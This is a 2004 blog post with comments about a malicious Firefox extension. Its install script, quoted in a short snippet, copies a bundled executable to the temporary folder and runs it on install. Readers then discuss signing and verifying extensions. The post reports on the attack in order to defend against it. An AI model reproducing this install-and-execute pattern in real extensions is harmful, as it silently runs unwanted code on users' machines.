Malicious XPIs run executable binaries

In: Mozilla

27 Mar 2004

Flexer recently posted his encounter with a website that tried to get him to install a malicious XPI (Firefox extension). Upon the user clicking “Install”, the install.js (the script that performs the actual installation) tries to execute the contained executable, which is xxxtoolbar, as Paradox52525 reports.

Here’s a snippet of the code in the install.js:

var xpiSrc = “istinstall_netscape.exe”;
initInstall(“Adding a File”,
“addFile”,
“1.0.1.7”,
1);
f = getFolder(“Temporary”);
setPackageFolder(f);
addFile(xpiSrc);
execute(xpiSrc,””,false);

Arthur_Dent breaks down exactly what the XPI and the contained executable does in his post.

Best solution, to me? Verified and digitally signed XPIs are allowed to run without hindrance. For unverified XPIs, warn the user that of that fact, and that the XPI will directly run executable code. Require an extra step of confirmation. That’s what I think at the moment, but there are some pretty good ideas in that thread. It’ll be interesting to see how this is dealt with in the near future.

Follow the discussion on MozillaZine forums.

Update: See relevant bug 238684.

5 Responses to Malicious XPIs run executable binaries

Avatar

Jesse Ruderman

March 28th, 2004 at 9am

“Best solution, to me? Verified and digitally signed XPIs are allowed to run without hindrance.”

Verified by whom? mozilla.org?

Avatar

0zone

March 28th, 2004 at 11am

There should be a team that checks packages that are submitted, if the team finds that the packages are ok then they add the file name and md5 of the file to a database that gets checked by the installer. If the installer can’t find the entry then it should display a warning stating that the package could not be verified and ask them if they want to continue (no should be default).

Avatar

Cheah Chu Yeow

March 28th, 2004 at 11am

Verified by whom? mozilla.org?

I’d say a good, trusted authority is good enough. The people at mozdev.org, David Tenser, mozilla.org are possible candidates.

Avatar

Minh Nguyễn

March 29th, 2004 at 10am

I’m not so sure that David Tenser verifying all the XPIs alone would scale too well. :)

Avatar

Dark Reflexions

March 29th, 2004 at 11pm

Disappointing
A malicious Firefox .XPI was created I’m just gunna trackback and link you to the blog of a person I know (internet-wise), because his post was very well written. It will be fixed by the Mozilla developement project somehow, but…